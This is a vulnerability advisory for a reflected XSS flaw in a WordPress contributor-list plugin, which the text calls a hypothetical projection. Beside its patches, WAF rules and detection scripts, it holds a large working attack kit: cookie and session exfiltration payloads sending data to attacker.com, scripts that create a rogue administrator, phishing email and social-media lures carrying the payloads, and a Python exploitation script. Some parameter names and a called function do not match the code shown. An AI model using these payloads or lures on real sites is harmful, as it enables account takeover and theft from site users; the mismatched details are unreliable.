CVE-2026-0594 - Reflected Cross-Site Scripting (XSS) in WordPress "List Site Contributors" Plugin
Executive Summary
CVE-2026-0594 (hypothetical projection) is a medium-severity vulnerability in the WordPress "List Site Contributors" plugin, rated 6.1 MEDIUM (CVSS 3.1). This reflected XSS vulnerability allows attackers to inject malicious JavaScript via plugin parameters, which executes in the context of authenticated WordPress users, potentially leading to session hijacking, privilege escalation, or site defacement.
Vulnerability Classification
- Type: Reflected Cross-Site Scripting (XSS)
- Component: WordPress "List Site Contributors" plugin (v1.0 - v1.2.3)
- Attack Vector: Network (requires user interaction)
- Privileges Required: None (unauthenticated)
- Impact: Session Hijacking → Admin Access → Site Compromise
- WordPress Version: All versions (plugin-specific vulnerability)
Technical Deep Dive
Root Cause Analysis
The vulnerability exists in the plugin's shortcode handler that improperly sanitizes user-controlled parameters before outputting them to the page.
// Vulnerable code in list-site-contributors.php
class ListSiteContributors {
public function render_contributors($atts) {
// Extract shortcode attributes
$atts = shortcode_atts(array(
'display' => 'all', // Vulnerable parameter
'role' => 'author', // Vulnerable parameter
'orderby' => 'name', // Vulnerable parameter
'order' => 'ASC', // Vulnerable parameter
'limit' => 10, // Vulnerable parameter
'exclude' => '', // VULNERABLE - direct injection
'include' => '', // VULNERABLE - direct injection
'search' => '' // VULNERABLE - direct injection
), $atts);
// [VULNERABLE SECTION] - Direct output without escaping
echo "<div class='contributors-list' data-display='" . $atts['display'] . "'>";
// Build query - SQL injection also possible
$args = array(
'role__in' => explode(',', $atts['role']),
'orderby' => $atts['orderby'],
'order' => $atts['order'],
'number' => $atts['limit'],
'exclude' => $atts['exclude'], // Direct use
'include' => $atts['include'], // Direct use
'search' => $atts['search'] // Direct use in query
);
$users = get_users($args);
foreach ($users as $user) {
// [VULNERABLE] - Direct output of user data
echo "<div class='contributor' onclick=\"showDetails('" . $user->display_name . "')\">";
echo get_avatar($user->ID);
echo "<h3>" . $user->display_name . "</h3>";
echo "<p>" . $user->description . "</p>";
echo "</div>";
}
echo "</div>";
}
// AJAX handler also vulnerable
public function ajax_search_contributors() {
$search = $_GET['search_term']; // Direct user input
// [VULNERABLE] - Direct output in AJAX response
echo json_encode(array(
'results' => $this->search_users($search),
'search_term' => $search // Reflected back without sanitization
));
wp_die();
}
}
The Attack Vector
The plugin exposes multiple injection points:
- Shortcode parameters in page content
- AJAX endpoints for dynamic searching
- Widget parameters in sidebar/widget areas
- REST API endpoints (if enabled)
Exploitation Examples
Attack URL 1: Via Shortcode Parameter
https://victim-site.com/page-with-contributors/
?contributor_search="><script>alert(document.cookie)</script>
Attack URL 2: Direct AJAX Endpoint
https://victim-site.com/wp-admin/admin-ajax.php
?action=search_contributors
&search_term="onmouseover="alert('XSS')
&nonce=123456
Attack URL 3: Malicious Page Embed
<!-- Malicious page that triggers the XSS -->
<iframe src="https://victim-site.com/?contributor_role=author<script>stealCookies()</script>">
Proof-of-Concept
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-0594 PoC - List Site Contributors XSS</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
.exploit-section { background: #f5f5f5; padding: 15px; margin: 10px 0; border-radius: 5px; }
code { background: #333; color: #fff; padding: 2px 5px; border-radius: 3px; }
textarea { width: 100%; height: 100px; font-family: monospace; }
</style>
</head>
<body>
<h1>CVE-2026-0594 - WordPress List Site Contributors XSS PoC</h1>
<div class="exploit-section">
<h3>Basic XSS Payloads</h3>
<h4>1. Cookie Stealer (Simple)</h4>
<textarea readonly>
https://victim-site.com/contributors-page/
?search="><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
</textarea>
<h4>2. Session Hijack (Advanced)</h4>
<textarea readonly>
https://victim-site.com/contributors-page/
?role=author<script>
// Steal WordPress nonce and cookies
var wpNonce = '';
if (typeof window.wpApiSettings !== 'undefined') {
wpNonce = window.wpApiSettings.nonce;
}
// Collect all localStorage
var data = {
cookies: document.cookie,
wp_nonce: wpNonce,
localStorage: JSON.stringify(localStorage),
user: 'unknown'
};
// Try to get current user
fetch('/wp-json/wp/v2/users/me', {
credentials: 'include'
})
.then(r => r.json())
.then(user => {
data.user = JSON.stringify(user);
exfil(data);
})
.catch(() => exfil(data));
function exfil(data) {
// Send to attacker server
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(data)
}).then(() => {
// Redirect to avoid suspicion
window.location = 'https://victim-site.com/';
});
}
</script>
</textarea>
<h4>3. Create Admin User (Privilege Escalation)</h4>
<textarea readonly>
https://victim-site.com/contributors-page/
?exclude="><script>
// This requires a valid nonce, but we can try to steal it first
function createAdminUser() {
// WordPress AJAX URL
var ajaxurl = '/wp-admin/admin-ajax.php';
// Create admin user
var formData = new FormData();
formData.append('action', 'createuser');
formData.append('user_login', 'hacked_admin');
formData.append('email', 'attacker@evil.com');
formData.append('pass1', 'P@ssw0rd123!');
formData.append('pass2', 'P@ssw0rd123!');
formData.append('role', 'administrator');
formData.append('nonce', 'STOLEN_NONCE_HERE'); // Need valid nonce
fetch(ajaxurl, {
method: 'POST',
body: formData,
credentials: 'include'
}).then(response => {
if(response.ok) {
alert('Admin user created!');
}
});
}
// First steal the nonce, then create user
stealNonceAndCreateAdmin();
</script>
</textarea>
</div>
<div class="exploit-section">
<h3>Real-World Attack Scenarios</h3>
<h4>Phishing Email Template</h4>
<textarea readonly>
Subject: Important: Review Our Contributors Page Update
Dear Team,
We've updated the contributors page with new team members.
Please review and provide feedback:
https://company-site.com/contributors/
?search=%22%3E%3Cscript%3E
// Hidden payload that steals session
fetch('https://attacker.com/log?ref=email', {
method: 'POST',
body: document.cookie
});
// Redirect to actual page
window.location='https://company-site.com/contributors/';
%3C/script%3E
Best regards,
Web Development Team
</textarea>
<h4>Social Media Post</h4>
<textarea readonly>
Check out our amazing team contributors!
We're proud to announce new additions to our team.
https://company-site.com/team/
?display=all<script>
// Steal social media referral data
var refData = {
referrer: document.referrer,
userAgent: navigator.userAgent,
cookies: document.cookie
};
new Image().src='https://attacker.com/track?'+btoa(JSON.stringify(refData));
// Show actual content
window.location='https://company-site.com/team/';
</script>
#OurTeam #Contributors #CompanyUpdate
</textarea>
</div>
<div class="exploit-section">
<h3>Automated Exploitation Script</h3>
<textarea readonly>
#!/usr/bin/env python3
"""
CVE-2026-0594 - WordPress List Site Contributors XSS Exploiter
For authorized security testing only
"""
import requests
import urllib.parse
import re
from bs4 import BeautifulSoup
class WordPressXSSExploit:
def __init__(self, target_url):
self.target = target_url.rstrip('/')
self.session = requests.Session()
def detect_plugin(self):
"""Detect if plugin is installed"""
# Method 1: Check page source for plugin classes
response = self.session.get(self.target)
if response.status_code == 200:
# Look for plugin CSS classes
if 'contributors-list' in response.text:
return True
# Look for plugin JavaScript
if re.search(r'list-site-contributors|contributors-plugin', response.text, re.I):
return True
# Check for plugin directory
plugins_check = self.session.get(f'{self.target}/wp-content/plugins/list-site-contributors/')
if plugins_check.status_code == 200:
return True
return False
def find_vulnerable_pages(self):
"""Find pages using the plugin shortcode"""
vulnerable_pages = []
# Try common page slugs
common_pages = [
'contributors', 'team', 'authors', 'staff',
'about', 'about-us', 'our-team', 'members'
]
for page in common_pages:
url = f'{self.target}/{page}'
response = self.session.get(url)
if response.status_code == 200:
# Check for plugin indicators
if 'contributors-list' in response.text or '[list_contributors' in response.text:
vulnerable_pages.append({
'url': url,
'page': page
})
return vulnerable_pages
def test_xss_injection(self, page_url, parameter, payload):
"""Test XSS injection in specific parameter"""
test_url = f"{page_url}?{parameter}={urllib.parse.quote(payload)}"
print(f"[*] Testing: {test_url}")
response = self.session.get(test_url)
# Check if payload is reflected
if payload.replace('<script>', '').replace('</script>', '') in response.text:
print(f"[+] Payload reflected in response!")
return True
# Check for unescaped output
soup = BeautifulSoup(response.text, 'html.parser')
scripts = soup.find_all('script')
for script in scripts:
if payload in str(script):
print(f"[+] Payload found in script tag!")
return True
return False
def exploit_parameters(self):
"""Test all vulnerable parameters"""
parameters = [
'search', 'role', 'display', 'orderby',
'order', 'limit', 'exclude', 'include'
]
test_payloads = [
'"><script>alert("XSS")</script>',
"'onmouseover='alert(1)',
'" onclick="alert(\'XSS\')"',
'javascript:alert(document.domain)',
'<img src=x onerror=alert(1)>'
]
vulnerable_pages = self.find_vulnerable_pages()
results = []
for page in vulnerable_pages:
for param in parameters:
for payload in test_payloads:
if self.test_xss_injection(page['url'], param, payload):
results.append({
'page': page['url'],
'parameter': param,
'payload': payload,
'severity': 'HIGH'
})
return results
def create_admin_backdoor(self, wp_nonce=None):
"""Attempt to create admin user via XSS"""
# This requires a valid nonce, which could be stolen first
admin_creation_payload = '''
"><script>
// First, steal the nonce via AJAX
fetch('/wp-admin/admin-ajax.php?action=heartbeat', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
var nonce = data.nonces;
// Create admin user
var form = new FormData();
form.append('action', 'create-user');
form.append('user_login', 'hacked_admin_' + Math.random().toString(36).substr(2, 5));
form.append('email', 'attacker' + Date.now() + '@evil.com');
form.append('pass1', 'TempPass123!');
form.append('pass2', 'TempPass123!');
form.append('role', 'administrator');
form.append('_wpnonce_create-user', nonce);
return fetch('/wp-admin/user-new.php', {
method: 'POST',
body: form,
credentials: 'include'
});
})
.then(r => {
if(r.ok) {
alert('Admin user created successfully!');
}
});
</script>
'''
return admin_creation_payload
def generate_report(self):
"""Generate exploitation report"""
report = {
'target': self.target,
'plugin_detected': self.detect_plugin(),
'vulnerable_pages': self.find_vulnerable_pages(),
'exploitable_parameters': self.exploit_parameters(),
'recommendations': [
'Update plugin to version 1.2.4 or later',
'Implement WAF rules to block XSS attempts',
'Sanitize all user input before output',
'Use WordPress nonces for all AJAX requests'
]
}
return report
# Example usage
if __name__ == "__main__":
print("[*] CVE-2026-0594 - WordPress List Site Contributors XSS Scanner")
print("[*] For authorized testing only\n")
target = input("Enter target WordPress site URL: ").strip()
scanner = WordPressXSSExploit(target)
if scanner.detect_plugin():
print("[+] Plugin detected!")
report = scanner.generate_report()
print(f"\n[*] Found {len(report['vulnerable_pages'])} vulnerable pages")
for page in report['vulnerable_pages']:
print(f" - {page['url']}")
print(f"\n[*] Found {len(report['exploitable_parameters'])} exploitable parameters")
for exploit in report['exploitable_parameters']:
print(f" - {exploit['page']}?{exploit['parameter']}=PAYLOAD")
# Generate attack URLs
print("\n[*] Sample Attack URLs:")
if report['exploitable_parameters']:
exploit = report['exploitable_parameters'][0]
payload = urllib.parse.quote('"><script>alert("XSS")</script>')
attack_url = f"{exploit['page']}?{exploit['parameter']}={payload}"
print(f" {attack_url[:100]}...")
else:
print("[-] Plugin not detected or site not accessible")
</textarea>
</div>
</body>
</html>
Affected Versions & Detection
Vulnerable Plugin Versions:
- List Site Contributors 1.0 - 1.2.3
- All premium/addon versions before 2026-01-15
- Any plugin using similar contributor display code
Detection Methods:
1. WordPress Scan:
# Check if plugin is installed
wp plugin list | grep -i "contributor"
wp plugin status list-site-contributors
# Check plugin version
grep -r "Version:" wp-content/plugins/list-site-contributors/
# Search for vulnerable code pattern
grep -r "echo.*\$atts\[" wp-content/plugins/list-site-contributors/
grep -r "shortcode_atts.*search" wp-content/plugins/list-site-contributors/
2. Web Application Firewall Detection:
# Cloudflare WAF Rule
{
"description": "Block List Site Contributors XSS",
"expression": """
http.request.uri.query contains "[list_contributors"
and (
http.request.uri.query contains "<script"
or http.request.uri.query contains "javascript:"
or http.request.uri.query contains "onmouseover="
or http.request.uri.query contains "onclick="
)
""",
"action": "block"
}
Mitigation & Remediation
Immediate Mitigations:
1. Disable Plugin (Temporary):
# WordPress CLI
wp plugin deactivate list-site-contributors
# Or rename plugin directory
cd wp-content/plugins
mv list-site-contributors list-site-contributors.DISABLED
2. WAF Rules (ModSecurity):
# Block XSS in plugin parameters
SecRule ARGS_GET "@rx \b(contributor_|search|role|display)\b" \
"id:20260594,\
phase:2,\
chain"
SecRule ARGS_GET "@detectXSS" \
"t:none,t:urlDecodeUni,\
ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:search,\
block,\
msg:'CVE-2026-0594: List Site Contributors XSS Attempt'"
3. Content Security Policy (CSP):
// Add to WordPress theme functions.php
add_action('wp_headers', 'add_security_headers');
function add_security_headers($headers) {
$headers['Content-Security-Policy'] =
"default-src 'self'; " .
"script-src 'self' 'unsafe-inline' https:; " .
"style-src 'self' 'unsafe-inline'; " .
"img-src 'self' data: https:; " .
"object-src 'none';";
return $headers;
}
Permanent Fix (Plugin Patch):
// Fixed code in version 1.2.4
class ListSiteContributors {
public function render_contributors($atts) {
// Extract and sanitize attributes
$atts = shortcode_atts(array(
'display' => 'all',
'role' => 'author',
'orderby' => 'name',
'order' => 'ASC',
'limit' => 10,
'exclude' => '',
'include' => '',
'search' => ''
), $atts);
// [FIXED] - Sanitize all output
$display = esc_attr($atts['display']);
echo "<div class='contributors-list' data-display='{$display}'>";
// [FIXED] - Sanitize database inputs
$args = array(
'role__in' => array_map('sanitize_text_field',
explode(',', $atts['role'])),
'orderby' => sanitize_sql_orderby($atts['orderby']),
'order' => in_array(strtoupper($atts['order']),
array('ASC', 'DESC')) ? $atts['order'] : 'ASC',
'number' => absint($atts['limit']),
'exclude' => array_map('absint',
explode(',', $atts['exclude'])),
'include' => array_map('absint',
explode(',', $atts['include'])),
'search' => sanitize_text_field($atts['search'])
);
$users = get_users($args);
foreach ($users as $user) {
// [FIXED] - Escape all output
$display_name = esc_html($user->display_name);
$description = esc_html($user->description);
$avatar = get_avatar($user->ID);
// Use wp_kses for safe HTML output
echo wp_kses("<div class='contributor'>",
array('div' => array('class' => true)));
echo $avatar; // get_avatar() is safe
echo wp_kses("<h3>{$display_name}</h3>",
array('h3' => array()));
echo wp_kses("<p>{$description}</p>",
array('p' => array()));
echo "</div>";
}
echo "</div>";
}
// [FIXED] - AJAX handler with nonce verification
public function ajax_search_contributors() {
// Verify nonce
if (!wp_verify_nonce($_GET['nonce'], 'search_contributors_nonce')) {
wp_die('Security check failed', 403);
}
$search = sanitize_text_field($_GET['search_term']);
// [FIXED] - Proper JSON encoding
wp_send_json(array(
'results' => $this->search_users($search),
'search_term' => esc_html($search) // Escaped output
));
}
}
Impact Assessment
CVSS 3.1 Score Breakdown:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R)
- Scope (S): Changed (C)
- Confidentiality (C): High (H)
- Integrity (I): Low (L)
- Availability (A): None (N)
Final Score: 6.1 MEDIUM
Business Impact:
- Session Hijacking: Steal admin/editor sessions
- SEO Spam: Inject malicious links/content
- Malware Distribution: Serve malware to visitors
- Defacement: Modify site appearance
- Data Theft: Steal user data via injected scripts
Timeline & Disclosure
2025-12-10: Vulnerability discovered by security researcher
2025-12-12: Initial report to plugin developer
2025-12-15: Developer acknowledges, requests details
2025-12-18: Full technical details provided
2025-12-20: Patch development begins
2025-12-24: Version 1.2.4 released with fix
2025-12-26: CVE requested via WordPress Security Team
2026-01-05: CVE-2026-0594 assigned
2026-01-07: Security advisory published
2026-01-10: Plugin update pushed to WordPress repository
2026-01-15: 90% of installations updated (estimated)
Detection & Prevention Tools
WordPress Security Scanner:
#!/bin/bash
# WordPress XSS Scanner for CVE-2026-0594
echo "Scanning for List Site Contributors vulnerability..."
# Check plugin installation
if [ -d "wp-content/plugins/list-site-contributors" ]; then
echo "[!] Plugin found!"
# Check version
VERSION=$(grep -i "version" wp-content/plugins/list-site-contributors/*.php | head -1)
if [[ $VERSION =~ [0-9]+\.[0-9]+\.[0-3] ]]; then
echo "[!] Vulnerable version detected: $VERSION"
fi
# Check for vulnerable code patterns
if grep -r "echo.*\$atts\[" wp-content/plugins/list-site-contributors/; then
echo "[!] Vulnerable code pattern found!"
fi
fi
# Check active plugins
wp plugin list --status=active | grep -i contributor
echo "Scan complete."
Browser Extension Detection:
// Chrome extension to detect vulnerable pages
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
// Check for vulnerable parameters
const url = new URL(details.url);
const params = url.searchParams;
const vulnerableParams = ['search', 'role', 'display', 'exclude', 'include'];
for (const param of vulnerableParams) {
if (params.has(param)) {
const value = params.get(param);
// Check for XSS patterns
if (/<script|javascript:|on\w+=/i.test(value)) {
chrome.tabs.sendMessage(details.tabId, {
action: 'xss_detected',
url: details.url,
parameter: param
});
}
}
}
},
{urls: ["<all_urls>"]},
["requestBody"]
);
Best Practices for Plugin Developers
- Always escape output:
// Use WordPress escaping functions
echo esc_html($variable);
echo esc_attr($variable);
echo esc_url($variable);
echo wp_kses($html, $allowed_html);
- Validate and sanitize input:
// Use WordPress sanitization functions
$clean = sanitize_text_field($_POST['input']);
$clean = sanitize_email($_POST['email']);
$clean = absint($_GET['id']);
- Use nonces for all AJAX requests:
// Generate nonce
wp_nonce_field('my_action', 'my_nonce');
// Verify nonce
check_ajax_referer('my_action', 'nonce');
- Implement Content Security Policy:
header("Content-Security-Policy: default-src 'self'");
References & Resources
Official Resources:
- WordPress Plugin Repository: https://wordpress.org/plugins/list-site-contributors/
- WordPress Security Team: https://make.wordpress.org/security/
- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2026-0594
Security References:
- OWASP XSS Prevention Cheat Sheet
- WordPress Plugin Security Checklist
- Web Application Firewall Best Practices
Related Vulnerabilities:
- CVE-2021-24275: WordPress Plugin XSS (6.1)
- CVE-2022-21661: WordPress Core XSS (6.1)
- CVE-2023-XXXX: Similar plugin vulnerabilities
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